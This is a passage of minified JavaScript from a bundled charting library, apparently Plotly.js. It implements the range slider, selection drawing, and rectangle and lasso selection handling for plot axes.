z=L.simpleMap(_.range,k.r2l),N=L.simpleMap(k.range,k.r2l),G;N[0]<N[1]?G=[Math.min(z[0],N[0]),Math.max(z[1],N[1])]:G=[Math.max(z[0],N[0]),Math.min(z[1],N[1])],_.range=_._input.range=L.simpleMap(G,k.l2r)}k.cleanRange("rangeslider.range");var J=A._size,q=k.domain;_._width=J.w*(q[1]-q[0]);var ne=Math.round(J.l+J.w*q[0]),fe=Math.round(J.t+J.h*(1-k._counterDomainMin)+(k.side==="bottom"?k._depth:0)+_._offsetShift+u.extraPad);B.attr("transform",S(ne,fe)),_._rl=L.simpleMap(_.range,k.r2l);var X=_._rl[0],W=_._rl[1],V=W-X;if(_.p2d=function(we){return we/_._width*V+X},_.d2p=function(we){return(we-X)/V*_._width},k.rangebreaks){var Y=k.locateBreaks(X,W);if(Y.length){var Q,ie,j=0;for(Q=0;Q<Y.length;Q++)ie=Y[Q],j+=ie.max-ie.min;var K=_._width/(W-X-j),oe=[-K*X];for(Q=0;Q<Y.length;Q++)ie=Y[Q],oe.push(oe[oe.length-1]-K*(ie.max-ie.min));for(_.d2p=function(we){for(var xe=oe[0],ke=0;ke<Y.length;ke++){var _e=Y[ke];if(we>=_e.max)xe=oe[ke+1];else if(we<_e.min)break}return xe+K*we},Q=0;Q<Y.length;Q++)ie=Y[Q],ie.pmin=_.d2p(ie.min),ie.pmax=_.d2p(ie.max);_.p2d=function(we){for(var xe=oe[0],ke=0;ke<Y.length;ke++){var _e=Y[ke];if(we>=_e.pmax)xe=oe[ke+1];else if(we<_e.pmin)break}return(we-xe)/K}}}if(O.rangemode!=="match"){var re=F.r2l(O.range[0]),le=F.r2l(O.range[1]),pe=le-re;_.d2pOppAxis=function(we){return(we-re)/pe*_._height}}B.call(b,p,k,_).call(h,p,k,_).call(i,p,k,_).call(T,p,k,_,O).call(w,p,k,_).call(E,p,k,_),s(B,p,k,_),c(B,p,k,_,F,O),k.side==="bottom"&&t.draw(p,k._id+"title",{propContainer:k,propName:k._name+".title",placeholder:A._dfltTitle.x,attributes:{x:k._offset+k._length/2,y:fe+_._height+_._offsetShift+10+1.5*k.title.font.size,"text-anchor":"middle"}})}))};function s(p,A,m,n){if(A._context.staticPlot)return;var C=p.select("rect."+u.slideBoxClassName).node(),x=p.select("rect."+u.grabAreaMinClassName).node(),I=p.select("rect."+u.grabAreaMaxClassName).node();function k(){var B=M.event,_=B.target,F=B.clientX||B.touches[0].clientX,O=F-p.node().getBoundingClientRect().left,z=n.d2p(m._rl[0]),N=n.d2p(m._rl[1]),G=a.coverSlip();this.addEventListener("touchmove",J),this.addEventListener("touchend",q),G.addEventListener("mousemove",J),G.addEventListener("mouseup",q);function J(ne){var fe=ne.clientX||ne.touches[0].clientX,X=+fe-F,W,V,Y;switch(_){case C:if(Y="ew-resize",z+X>m._length||N+X<0)return;W=z+X,V=N+X;break;case x:if(Y="col-resize",z+X>m._length)return;W=z+X,V=N;break;case I:if(Y="col-resize",N+X<0)return;W=z,V=N+X;break;default:Y="ew-resize",W=O,V=O+X;break}if(V<W){var Q=V;V=W,W=Q}n._pixelMin=W,n._pixelMax=V,l(M.select(G),Y),y(p,A,m,n)}function q(){G.removeEventListener("mousemove",J),G.removeEventListener("mouseup",q),this.removeEventListener("touchmove",J),this.removeEventListener("touchend",q),L.removeElement(G)}}p.on("mousedown",k),p.on("touchstart",k)}function y(p,A,m,n){function C(k){return m.l2r(L.constrain(k,n._rl[0],n._rl[1]))}var x=C(n.p2d(n._pixelMin)),I=C(n.p2d(n._pixelMax));window.requestAnimationFrame(function(){P.call("_guiRelayout",A,m._name+".range",[x,I])})}function c(p,A,m,n,C,x){var I=u.handleWidth/2;function k(ne){return L.constrain(ne,0,n._width)}function B(ne){return L.constrain(ne,0,n._height)}function _(ne){return L.constrain(ne,-I,n._width+I)}var F=k(n.d2p(m._rl[0])),O=k(n.d2p(m._rl[1]));if(p.select("rect."+u.slideBoxClassName).attr("x",F).attr("width",O-F),p.select("rect."+u.maskMinClassName).attr("width",F),p.select("rect."+u.maskMaxClassName).attr("x",O).attr("width",n._width-O),x.rangemode!=="match"){var z=n._height-B(n.d2pOppAxis(C._rl[1])),N=n._height-B(n.d2pOppAxis(C._rl[0]));p.select("rect."+u.maskMinOppAxisClassName).attr("x",F).attr("height",z).attr("width",O-F),p.select("rect."+u.maskMaxOppAxisClassName).attr("x",F).attr("y",N).attr("height",n._height-N).attr("width",O-F),p.select("rect."+u.slideBoxClassName).attr("y",z).attr("height",N-z)}var G=.5,J=Math.round(_(F-I))-G,q=Math.round(_(O-I))+G;p.select("g."+u.grabberMinClassName).attr("transform",S(J,G)),p.select("g."+u.grabberMaxClassName).attr("transform",S(q,G))}function b(p,A,m,n){var C=L.ensureSingle(p,"rect",u.bgClassName,function(B){B.attr({x:0,y:0,"shape-rendering":"crispEdges"})}),x=n.borderwidth%2===0?n.borderwidth:n.borderwidth-1,I=-n._offsetShift,k=d.crispRound(A,n.borderwidth);C.attr({width:n._width+x,height:n._height+x,transform:S(I,I),"stroke-width":k}).call(g.stroke,n.bordercolor).call(g.fill,n.bgcolor)}function h(p,A,m,n){var C=A._fullLayout,x=L.ensureSingleById(C._topdefs,"clipPath",n._clipId,function(I){I.append("rect").attr({x:0,y:0})});x.select("rect").attr({width:n._width,height:n._height})}function i(p,A,m,n){var C=A.calcdata,x=p.selectAll("g."+u.rangePlotClassName).data(m._subplotsWith,L.identity);x.enter().append("g").attr("class",function(k){return u.rangePlotClassName+" "+k}).call(d.setClipUrl,n._clipId,A),x.order(),x.exit().remove();var I;x.each(function(k,B){var _=M.select(this),F=B===0,O=f.getFromId(A,k,"y"),z=O._name,N=n[z],G={data:[],layout:{xaxis:{type:m.type,domain:[0,1],range:n.range.slice(),calendar:m.calendar},width:n._width,height:n._height,margin:{t:0,b:0,l:0,r:0}},_context:A._context};m.rangebreaks&&(G.layout.xaxis.rangebreaks=m.rangebreaks),G.layout[z]={type:O.type,domain:[0,1],range:N.rangemode!=="match"?N.range.slice():O.range.slice(),calendar:O.calendar},O.rangebreaks&&(G.layout[z].rangebreaks=O.rangebreaks),o.supplyDefaults(G);var J=G._fullLayout.xaxis,q=G._fullLayout[z];J.clearCalc(),J.setScale(),q.clearCalc(),q.setScale();var ne={id:k,plotgroup:_,xaxis:J,yaxis:q,isRangePlot:!0};F?I=ne:(ne.mainplot="xy",ne.mainplotinfo=I),r.rangePlot(A,ne,v(C,k))})}function v(p,A){for(var m=[],n=0;n<p.length;n++){var C=p[n],x=C[0].trace;x.xaxis+x.yaxis===A&&m.push(C)}return m}function T(p,A,m,n,C){var x=L.ensureSingle(p,"rect",u.maskMinClassName,function(_){_.attr({x:0,y:0,"shape-rendering":"crispEdges"})});x.attr("height",n._height).call(g.fill,u.maskColor);var I=L.ensureSingle(p,"rect",u.maskMaxClassName,function(_){_.attr({y:0,"shape-rendering":"crispEdges"})});if(I.attr("height",n._height).call(g.fill,u.maskColor),C.rangemode!=="match"){var k=L.ensureSingle(p,"rect",u.maskMinOppAxisClassName,function(_){_.attr({y:0,"shape-rendering":"crispEdges"})});k.attr("width",n._width).call(g.fill,u.maskOppAxisColor);var B=L.ensureSingle(p,"rect",u.maskMaxOppAxisClassName,function(_){_.attr({y:0,"shape-rendering":"crispEdges"})});B.attr("width",n._width).style("border-top",u.maskOppBorder).call(g.fill,u.maskOppAxisColor)}}function w(p,A,m,n){if(!A._context.staticPlot){var C=L.ensureSingle(p,"rect",u.slideBoxClassName,function(x){x.attr({y:0,cursor:u.slideBoxCursor,"shape-rendering":"crispEdges"})});C.attr({height:n._height,fill:u.slideBoxFill})}}function E(p,A,m,n){var C=L.ensureSingle(p,"g",u.grabberMinClassName),x=L.ensureSingle(p,"g",u.grabberMaxClassName),I={x:0,width:u.handleWidth,rx:u.handleRadius,fill:g.background,stroke:g.defaultLine,"stroke-width":u.handleStrokeWidth,"shape-rendering":"crispEdges"},k={y:Math.round(n._height/4),height:Math.round(n._height/2)},B=L.ensureSingle(C,"rect",u.handleMinClassName,function(N){N.attr(I)});B.attr(k);var _=L.ensureSingle(x,"rect",u.handleMaxClassName,function(N){N.attr(I)});_.attr(k);var F={width:u.grabAreaWidth,x:0,y:0,fill:u.grabAreaFill,cursor:A._context.staticPlot?void 0:u.grabAreaCursor},O=L.ensureSingle(C,"rect",u.grabAreaMinClassName,function(N){N.attr(F)});O.attr("height",n._height);var z=L.ensureSingle(x,"rect",u.grabAreaMaxClassName,function(N){N.attr(F)});z.attr("height",n._height)}},549:function(te,Z,e){var M=e(41675),P=e(63893),o=e(73251),L=e(18783).LINE_SPACING,S=o.name;function d(g){var t=g&&g[S];return t&&t.visible}Z.isVisible=d,Z.makeData=function(g){var t=M.list({_fullLayout:g},"x",!0),r=g.margin,f=[];if(!g._has("gl2d"))for(var a=0;a<t.length;a++){var l=t[a];if(d(l)){f.push(l);var u=l[S];u._id=S+l._id,u._height=(g.height-r.b-r.t)*u.thickness,u._offsetShift=Math.floor(u.borderwidth/2)}}g._rangeSliderData=f},Z.autoMarginOpts=function(g,t){var r=g._fullLayout,f=t[S],a=t._id.charAt(0),l=0,u=0;if(t.side==="bottom"&&(l=t._depth,t.title.text!==r._dfltTitle[a])){u=1.5*t.title.font.size+10+f._offsetShift;var s=(t.title.text.match(P.BR_TAG_ALL)||[]).length;u+=s*t.title.font.size*L}return{x:0,y:t._counterDomainMin,l:0,r:0,t:0,b:f._height+l+Math.max(r.margin.b,u),pad:o.extraPad+f._offsetShift*2}}},13137:function(te,Z,e){var M=e(71828),P=e(75148),o=e(47850),L=e(549);te.exports={moduleType:"component",name:"rangeslider",schema:{subplots:{xaxis:{rangeslider:M.extendFlat({},P,{yaxis:o})}}},layoutAttributes:e(75148),handleDefaults:e(26377),calcAutorange:e(88443),draw:e(72413),isVisible:L.isVisible,makeData:L.makeData,autoMarginOpts:L.autoMarginOpts}},47850:function(te){te.exports={_isSubplotObj:!0,rangemode:{valType:"enumerated",values:["auto","fixed","match"],dflt:"match",editType:"calc"},range:{valType:"info_array",items:[{valType:"any",editType:"plot"},{valType:"any",editType:"plot"}],editType:"plot"},editType:"calc"}},8389:function(te,Z,e){var M=e(50215),P=e(82196).line,o=e(79952).P,L=e(1426).extendFlat,S=e(30962).overrideAll,d=e(44467).templatedArray;e(24695),te.exports=S(d("selection",{type:{valType:"enumerated",values:["rect","path"]},xref:L({},M.xref,{}),yref:L({},M.yref,{}),x0:{valType:"any"},x1:{valType:"any"},y0:{valType:"any"},y1:{valType:"any"},path:{valType:"string",editType:"arraydraw"},opacity:{valType:"number",min:0,max:1,dflt:.7,editType:"arraydraw"},line:{color:P.color,width:L({},P.width,{min:1,dflt:1}),dash:L({},o,{dflt:"dot"})}}),"arraydraw","from-root")},34122:function(te){te.exports={BENDPX:1.5,MINSELECT:12,SELECTDELAY:100,SELECTID:"-select"}},59402:function(te,Z,e){var M=e(71828),P=e(89298),o=e(85501),L=e(8389),S=e(30477);te.exports=function(t,r){o(t,r,{name:"selections",handleItemDefaults:d});for(var f=r.selections,a=0;a<f.length;a++){var l=f[a];l&&l.path===void 0&&(l.x0===void 0||l.x1===void 0||l.y0===void 0||l.y1===void 0)&&(r.selections[a]=null)}};function d(g,t,r){function f(x,I){return M.coerce(g,t,L,x,I)}var a=f("path"),l=a?"path":"rect",u=f("type",l),s=u!=="path";s&&delete t.path,f("opacity"),f("line.color"),f("line.width"),f("line.dash");for(var y=["x","y"],c=0;c<2;c++){var b=y[c],h={_fullLayout:r},i,v,T,w=P.coerceRef(g,t,h,b);if(i=P.getFromId(h,w),i._selectionIndices.push(t._index),T=S.rangeToShapePosition(i),v=S.shapePositionToRange(i),s){var E=b+"0",p=b+"1",A=g[E],m=g[p];g[E]=v(g[E],!0),g[p]=v(g[p],!0),P.coercePosition(t,h,f,w,E),P.coercePosition(t,h,f,w,p);var n=t[E],C=t[p];n!==void 0&&C!==void 0&&(t[E]=T(n),t[p]=T(C),g[E]=A,g[p]=m)}}s&&M.noneOrAll(g,t,["x0","x1","y0","y1"])}},32485:function(te,Z,e){var M=e(60165).readPaths,P=e(42359),o=e(51873).clearOutlineControllers,L=e(7901),S=e(91424),d=e(44467).arrayEditor,g=e(30477),t=g.getPathString;te.exports={draw:r,drawOne:a,activateLastSelection:s};function r(c){var b=c._fullLayout;o(c),b._selectionLayer.selectAll("path").remove();for(var h in b._plots){var i=b._plots[h].selectionLayer;i&&i.selectAll("path").remove()}for(var v=0;v<b.selections.length;v++)a(c,v)}function f(c){return c._context.editSelection}function a(c,b){c._fullLayout._paperdiv.selectAll('.selectionlayer [data-index="'+b+'"]').remove();var h=g.makeSelectionsOptionsAndPlotinfo(c,b),i=h.options,v=h.plotinfo;if(!i._input)return;T(c._fullLayout._selectionLayer);function T(w){var E=t(c,i),p={"data-index":b,"fill-rule":"evenodd",d:E},A=i.opacity,m="rgba(0,0,0,0)",n=i.line.color||L.contrast(c._fullLayout.plot_bgcolor),C=i.line.width,x=i.line.dash;C||(C=5,x="solid");var I=f(c)&&c._fullLayout._activeSelectionIndex===b;I&&(m=c._fullLayout.activeselection.fillcolor,A=c._fullLayout.activeselection.opacity);for(var k=[],B=1;B>=0;B--){var _=w.append("path").attr(p).style("opacity",B?.1:A).call(L.stroke,n).call(L.fill,m).call(S.dashLine,B?"solid":x,B?4+C:C);if(l(_,c,i),I){var F=d(c.layout,"selections",i);_.style({cursor:"move"});var O={element:_.node(),plotinfo:v,gd:c,editHelpers:F,isActiveSelection:!0},z=M(E,c);P(z,_,O)}else _.style("pointer-events",B?"all":"none");k[B]=_}var N=k[0],G=k[1];G.node().addEventListener("click",function(){return u(c,N)})}}function l(c,b,h){var i=h.xref+h.yref;S.setClipUrl(c,"clip"+b._fullLayout._uid+i,b)}function u(c,b){if(f(c)){var h=b.node(),i=+h.getAttribute("data-index");if(i>=0){if(i===c._fullLayout._activeSelectionIndex){y(c);return}c._fullLayout._activeSelectionIndex=i,c._fullLayout._deactivateSelection=y,r(c)}}}function s(c){if(f(c)){var b=c._fullLayout.selections.length-1;c._fullLayout._activeSelectionIndex=b,c._fullLayout._deactivateSelection=y,r(c)}}function y(c){if(f(c)){var b=c._fullLayout._activeSelectionIndex;b>=0&&(o(c),delete c._fullLayout._activeSelectionIndex,r(c))}}},53777:function(te,Z,e){var M=e(79952).P,P=e(1426).extendFlat;te.exports={newselection:{mode:{valType:"enumerated",values:["immediate","gradual"],dflt:"immediate",editType:"none"},line:{color:{valType:"color",editType:"none"},width:{valType:"number",min:1,dflt:1,editType:"none"},dash:P({},M,{dflt:"dot",editType:"none"}),editType:"none"},editType:"none"},activeselection:{fillcolor:{valType:"color",dflt:"rgba(0,0,0,0)",editType:"none"},opacity:{valType:"number",min:0,max:1,dflt:.5,editType:"none"},editType:"none"}}},90849:function(te){te.exports=function(e,M,P){P("newselection.mode");var o=P("newselection.line.width");o&&(P("newselection.line.color"),P("newselection.line.dash")),P("activeselection.fillcolor"),P("activeselection.opacity")}},35855:function(te,Z,e){var M=e(64505),P=M.selectMode,o=e(51873),L=o.clearOutline,S=e(60165),d=S.readPaths,g=S.writePaths,t=S.fixDatesForPaths;te.exports=function(f,a){if(f.length){var l=f[0][0];if(l){var u=l.getAttribute("d"),s=a.gd,y=s._fullLayout.newselection,c=a.plotinfo,b=c.xaxis,h=c.yaxis,i=a.isActiveSelection,v=a.dragmode,T=(s.layout||{}).selections||[];if(!P(v)&&i!==void 0){var w=s._fullLayout._activeSelectionIndex;if(w<T.length)switch(s._fullLayout.selections[w].type){case"rect":v="select";break;case"path":v="lasso";break}}var E=d(u,s,c,i),p={xref:b._id,yref:h._id,opacity:y.opacity,line:{color:y.line.color,width:y.line.width,dash:y.line.dash}},A;E.length===1&&(A=E[0]),A&&A.length===5&&v==="select"?(p.type="rect",p.x0=A[0][1],p.y0=A[0][2],p.x1=A[2][1],p.y1=A[2][2]):(p.type="path",b&&h&&t(E,b,h),p.path=g(E),A=null),L(s);for(var m=a.editHelpers,n=(m||{}).modifyItem,C=[],x=0;x<T.length;x++){var I=s._fullLayout.selections[x];if(!I){C[x]=I;continue}if(C[x]=I._input,i!==void 0&&x===s._fullLayout._activeSelectionIndex){var k=p;switch(I.type){case"rect":n("x0",k.x0),n("x1",k.x1),n("y0",k.y0),n("y1",k.y1);break;case"path":n("path",k.path);break}}}return i===void 0?(C.push(p),C):m?m.getUpdateObj():{}}}}},75549:function(te,Z,e){var M=e(71828).strTranslate;function P(d,g){switch(d.type){case"log":return d.p2d(g);case"date":return d.p2r(g,0,d.calendar);default:return d.p2r(g)}}function o(d,g){switch(d.type){case"log":return d.d2p(g);case"date":return d.r2p(g,0,d.calendar);default:return d.r2p(g)}}function L(d){var g=d._id.charAt(0)==="y"?1:0;return function(t){return P(d,t[g])}}function S(d){return M(d.xaxis._offset,d.yaxis._offset)}te.exports={p2r:P,r2p:o,axValue:L,getTransform:S}},47322:function(te,Z,e){var M=e(32485),P=e(3937);te.exports={moduleType:"component",name:"selections",layoutAttributes:e(8389),supplyLayoutDefaults:e(59402),supplyDrawNewSelectionDefaults:e(90849),includeBasePlot:e(76325)("selections"),draw:M.draw,drawOne:M.drawOne,reselect:P.reselect,prepSelect:P.prepSelect,clearOutline:P.clearOutline,clearSelectionsCache:P.clearSelectionsCache,selectOnClick:P.selectOnClick}},3937:function(te,Z,e){var M=e(52142),P=e(38258),o=e(73972),L=e(91424).dashStyle,S=e(7901),d=e(30211),g=e(23469).makeEventData,t=e(64505),r=t.freeMode,f=t.rectMode,a=t.drawMode,l=t.openMode,u=t.selectMode,s=e(30477),y=e(21459),c=e(42359),b=e(51873).clearOutline,h=e(60165),i=h.handleEllipse,v=h.readPaths,T=e(90551).newShapes,w=e(35855),E=e(32485).activateLastSelection,p=e(71828),A=p.sorterAsc,m=e(61082),n=e(79990),C=e(41675).getFromId,x=e(33306),I=e(61549).redrawReglTraces,k=e(34122),B=k.MINSELECT,_=m.filter,F=m.tester,O=e(75549),z=O.p2r,N=O.axValue,G=O.getTransform;function J(De){return De.subplot!==void 0}function q(De,Ee,ye,ae,de){var Me=!J(ae),Ie=r(de),Qe=f(de),et=l(de),pt=a(de),St=u(de),_t=de==="drawline",Ft=de==="drawcircle",Tt=_t||Ft,Gt=ae.gd,er=Gt._fullLayout,Pr=St&&er.newselection.mode==="immediate"&&Me,ct=er._zoomlayer,Vt=ae.element.getBoundingClientRect(),Ut=ae.plotinfo,dr=G(Ut),sr=Ee-Vt.left,nt=ye-Vt.top;er._calcInverseTransform(Gt);var rt=p.apply3DTransform(er._invTransform)(sr,nt);sr=rt[0],nt=rt[1];var vt=er._invScaleX,gt=er._invScaleY,wt=sr,mt=nt,Pt="M"+sr+","+nt,zt=ae.xaxes[0],Xt=ae.yaxes[0],Yt=zt._length,$t=Xt._length,yr=De.altKey&&!(a(de)&&et),Ue,Ne,Et,Lt,Nt,rr,tr;Y(De,Gt,ae),Ie&&(Ue=_([[sr,nt]],k.BENDPX));var Jt=ct.selectAll("path.select-outline-"+Ut.id).data([1]),It=pt?er.newshape:er.newselection;pt&&(ae.hasText=It.label.text||It.label.texttemplate);var or=pt&&!et?It.fillcolor:"rgba(0,0,0,0)",ur=It.line.color||(Me?S.contrast(Gt._fullLayout.plot_bgcolor):"#7f7f7f");Jt.enter().append("path").attr("class","select-outline select-outline-"+Ut.id).style({opacity:pt?It.opacity/2:1,"stroke-dasharray":L(It.line.dash,It.line.width),"stroke-width":It.line.width+"px","shape-rendering":"crispEdges"}).call(S.stroke,ur).call(S.fill,or).attr("fill-rule","evenodd").classed("cursor-move",!!pt).attr("transform",dr).attr("d",Pt+"Z");var fr=ct.append("path").attr("class","zoombox-corners").style({fill:S.background,stroke:S.defaultLine,"stroke-width":1}).attr("transform",dr).attr("d","M0,0Z");if(pt&&ae.hasText){var lr=ct.select(".label-temp");lr.empty()&&(lr=ct.append("g").classed("label-temp",!0).classed("select-outline",!0).style({opacity:.8}))}var Nr=er._uid+k.SELECTID,Rr=[],Cr=oe(Gt,ae.xaxes,ae.yaxes,ae.subplot);Pr&&!De.shiftKey&&(ae._clearSubplotSelections=function(){if(Me){var Ur=zt._id,Mn=Xt._id;Xe(Gt,Ur,Mn,Cr);for(var Sn=(Gt.layout||{}).selections||[],nr=[],Sr=!1,Dr=0;Dr<Sn.length;Dr++){var Ir=er.selections[Dr];Ir.xref!==Ur||Ir.yref!==Mn?nr.push(Sn[Dr]):Sr=!0}Sr&&(Gt._fullLayout._noEmitSelectedAtStart=!0,o.call("_guiRelayout",Gt,{selections:nr}))}});var vn=Ot(ae);ae.moveFn=function(Ur,Mn){ae._clearSubplotSelections&&(ae._clearSubplotSelections(),ae._clearSubplotSelections=void 0),wt=Math.max(0,Math.min(Yt,vt*Ur+sr)),mt=Math.max(0,Math.min($t,gt*Mn+nt));var Sn=Math.abs(wt-sr),nr=Math.abs(mt-nt);if(Qe){var Sr,Dr,Ir;if(St){var Xr=er.selectdirection;switch(Xr==="any"?nr<Math.min(Sn*.6,B)?Sr="h":Sn<Math.min(nr*.6,B)?Sr="v":Sr="d":Sr=Xr,Sr){case"h":Dr=Ft?$t/2:0,Ir=$t;break;case"v":Dr=Ft?Yt/2:0,Ir=Yt;break}}if(pt)switch(er.newshape.drawdirection){case"vertical":Sr="h",Dr=Ft?$t/2:0,Ir=$t;break;case"horizontal":Sr="v",Dr=Ft?Yt/2:0,Ir=Yt;break;case"ortho":Sn<nr?(Sr="h",Dr=nt,Ir=mt):(Sr="v",Dr=sr,Ir=wt);break;default:Sr="d"}Sr==="h"?(Lt=Tt?i(Ft,[wt,Dr],[wt,Ir]):[[sr,Dr],[sr,Ir],[wt,Ir],[wt,Dr]],Lt.xmin=Tt?wt:Math.min(sr,wt),Lt.xmax=Tt?wt:Math.max(sr,wt),Lt.ymin=Math.min(Dr,Ir),Lt.ymax=Math.max(Dr,Ir),fr.attr("d","M"+Lt.xmin+","+(nt-B)+"h-4v"+2*B+"h4ZM"+(Lt.xmax-1)+","+(nt-B)+"h4v"+2*B+"h-4Z")):Sr==="v"?(Lt=Tt?i(Ft,[Dr,mt],[Ir,mt]):[[Dr,nt],[Dr,mt],[Ir,mt],[Ir,nt]],Lt.xmin=Math.min(Dr,Ir),Lt.xmax=Math.max(Dr,Ir),Lt.ymin=Tt?mt:Math.min(nt,mt),Lt.ymax=Tt?mt:Math.max(nt,mt),fr.attr("d","M"+(sr-B)+","+Lt.ymin+"v-4h"+2*B+"v4ZM"+(sr-B)+","+(Lt.ymax-1)+"v4h"+2*B+"v-4Z")):Sr==="d"&&(Lt=Tt?i(Ft,[sr,nt],[wt,mt]):[[sr,nt],[sr,mt],[wt,mt],[wt,nt]],Lt.xmin=Math.min(sr,wt),Lt.xmax=Math.max(sr,wt),Lt.ymin=Math.min(nt,mt),Lt.ymax=Math.max(nt,mt),fr.attr("d","M0,0Z"))}else Ie&&(Ue.addPt([wt,mt]),Lt=Ue.filtered);if(ae.selectionDefs&&ae.selectionDefs.length?(Et=ge(ae.mergedPolygons,Lt,yr),Lt.subtract=yr,Ne=V(ae.selectionDefs.concat([Lt]))):(Et=[Lt],Ne=F(Lt)),c(Fe(Et,et),Jt,ae),St){var an=Ce(Gt,!1),tn=an.eventData?an.eventData.points.slice():[];an=Ce(Gt,!1,Ne,Cr,ae),Ne=an.selectionTesters,tr=an.eventData;var gn;Ue?gn=Ue.filtered:gn=ut(Et),n.throttle(Nr,k.SELECTDELAY,function(){Rr=Oe(Ne,Cr);for(var En=Rr.slice(),Hn=0;Hn<tn.length;Hn++){for(var Xn=tn[Hn],qn=!1,Wn=0;Wn<En.length;Wn++)if(En[Wn].curveNumber===Xn.curveNumber&&En[Wn].pointNumber===Xn.pointNumber){qn=!0;break}qn||En.push(Xn)}En.length&&(tr||(tr={}),tr.points=En),vn(tr,gn),Ge(Gt,tr)})}},ae.clickFn=function(Ur,Mn){if(fr.remove(),Gt._fullLayout._activeShapeIndex>=0){Gt._fullLayout._deactivateShape(Gt);return}if(!pt){var Sn=er.clickmode;n.done(Nr).then(function(){if(n.clear(Nr),Ur===2){for(Jt.remove(),Nt=0;Nt<Cr.length;Nt++)rr=Cr[Nt],rr._module.selectPoints(rr,!1);if(_e(Gt,Cr),j(ae),Pe(Gt),Cr.length){var nr=Cr[0].xaxis,Sr=Cr[0].yaxis;if(nr&&Sr){for(var Dr=[],Ir=Gt._fullLayout.selections,Xr=0;Xr<Ir.length;Xr++){var an=Ir[Xr];an&&(an.xref!==nr._id||an.yref!==Sr._id)&&Dr.push(an)}Dr.length<Ir.length&&(Gt._fullLayout._noEmitSelectedAtStart=!0,o.call("_guiRelayout",Gt,{selections:Dr}))}}}else Sn.indexOf("select")>-1&&ne(Mn,Gt,ae.xaxes,ae.yaxes,ae.subplot,ae,Jt),Sn==="event"&&Le(Gt,void 0);d.click(Gt,Mn)}).catch(p.error)}},ae.doneFn=function(){fr.remove(),n.done(Nr).then(function(){n.clear(Nr),!Pr&&Lt&&ae.selectionDefs&&(Lt.subtract=yr,ae.selectionDefs.push(Lt),ae.mergedPolygons.length=0,[].push.apply(ae.mergedPolygons,Et)),(Pr||pt)&&j(ae,Pr),ae.doneFnCompleted&&ae.doneFnCompleted(Rr),St&&Le(Gt,tr)}).catch(p.error)}}function ne(De,Ee,ye,ae,de,Me,Ie){var Qe=Ee._hoverdata,et=Ee._fullLayout,pt=et.clickmode,St=pt.indexOf("event")>-1,_t=[],Ft,Tt,Gt,er,Pr,ct,Vt,Ut,dr,sr;if(le(Qe)){Y(De,Ee,Me),Ft=oe(Ee,ye,ae,de);var nt=pe(Qe,Ft),rt=nt.pointNumbers.length>0;if(rt?xe(Ft,nt):ke(Ft)&&(Vt=we(nt))){for(Ie&&Ie.remove(),sr=0;sr<Ft.length;sr++)Tt=Ft[sr],Tt._module.selectPoints(Tt,!1);_e(Ee,Ft),j(Me),St&&Pe(Ee)}else{Ut=De.shiftKey&&(Vt!==void 0?Vt:we(nt)),Gt=fe(nt.pointNumber,nt.searchInfo,Ut);var vt=Me.selectionDefs.concat([Gt]);for(er=V(vt),sr=0;sr<Ft.length;sr++)if(Pr=Ft[sr]._module.selectPoints(Ft[sr],er),ct=Te(Pr,Ft[sr]),_t.length)for(var gt=0;gt<ct.length;gt++)_t.push(ct[gt]);else _t=ct;if(dr={points:_t},_e(Ee,Ft,dr),Gt&&Me&&Me.selectionDefs.push(Gt),Ie){var wt=Me.mergedPolygons,mt=l(Me.dragmode);c(Fe(wt,mt),Ie,Me)}St&&Le(Ee,dr)}}}function fe(De,Ee,ye){return{pointNumber:De,searchInfo:Ee,subtract:!!ye}}function X(De){return"pointNumber"in De&&"searchInfo"in De}function W(De){return{xmin:0,xmax:0,ymin:0,ymax:0,pts:[],contains:function(Ee,ye,ae,de){var Me=De.searchInfo.cd[0].trace._expandedIndex,Ie=de.cd[0].trace._expandedIndex;return Ie===Me&&ae===De.pointNumber},isRect:!1,degenerate:!1,subtract:!!De.subtract}}function V(De){if(!De.length)return;for(var Ee=[],ye=X(De[0])?0:De[0][0][0],ae=ye,de=X(De[0])?0:De[0][0][1],Me=de,Ie=0;Ie<De.length;Ie++)if(X(De[Ie]))Ee.push(W(De[Ie]));else{var Qe=F(De[Ie]);Qe.subtract=!!De[Ie].subtract,Ee.push(Qe),ye=Math.min(ye,Qe.xmin),ae=Math.max(ae,Qe.xmax),de=Math.min(de,Qe.ymin),Me=Math.max(Me,Qe.ymax)}function et(pt,St,_t,Ft){for(var Tt=!1,Gt=0;Gt<Ee.length;Gt++)Ee[Gt].contains(pt,St,_t,Ft)&&(Tt=!Ee[Gt].subtract);return Tt}return{xmin:ye,xmax:ae,ymin:de,ymax:Me,pts:[],contains:et,isRect:!1,degenerate:!1}}function Y(De,Ee,ye){var ae=Ee._fullLayout,de=ye.plotinfo,Me=ye.dragmode,Ie=ae._lastSelectedSubplot&&ae._lastSelectedSubplot===de.id,Qe=(De.shiftKey||De.altKey)&&!(a(Me)&&l(Me));Ie&&Qe&&de.selection&&de.selection.selectionDefs&&!ye.selectionDefs?(ye.selectionDefs=de.selection.selectionDefs,ye.mergedPolygons=de.selection.mergedPolygons):(!Qe||!de.selection)&&j(ye),Ie||(b(Ee),ae._lastSelectedSubplot=de.id)}function Q(De){return De._fullLayout._activeShapeIndex>=0}function ie(De){return De._fullLayout._activeSelectionIndex>=0}function j(De,Ee){var ye=De.dragmode,ae=De.plotinfo,de=De.gd;Q(de)&&de._fullLayout._deactivateShape(de),ie(de)&&de._fullLayout._deactivateSelection(de);var Me=de._fullLayout,Ie=Me._zoomlayer,Qe=a(ye),et=u(ye);if(Qe||et){var pt=Ie.selectAll(".select-outline-"+ae.id);if(pt&&de._fullLayout._outlining){var St;Qe&&(St=T(pt,De)),St&&o.call("_guiRelayout",de,{shapes:St});var _t;et&&!J(De)&&(_t=w(pt,De)),_t&&(de._fullLayout._noEmitSelectedAtStart=!0,o.call("_guiRelayout",de,{selections:_t}).then(function(){Ee&&E(de)})),de._fullLayout._outlining=!1}}ae.selection={},ae.selection.selectionDefs=De.selectionDefs=[],ae.selection.mergedPolygons=De.mergedPolygons=[]}function K(De){return De._id}function oe(De,Ee,ye,ae){if(!De.calcdata)return[];var de=[],Me=Ee.map(K),Ie=ye.map(K),Qe,et,pt;for(pt=0;pt<De.calcdata.length;pt++)if(Qe=De.calcdata[pt],et=Qe[0].trace,!(et.visible!==!0||!et._module||!et._module.selectPoints))if(J({subplot:ae})&&(et.subplot===ae||et.geo===ae))de.push(re(et._module,Qe,Ee[0],ye[0]));else if(et.type==="splom"){if(et._xaxes[Me[0]]&&et._yaxes[Ie[0]]){var 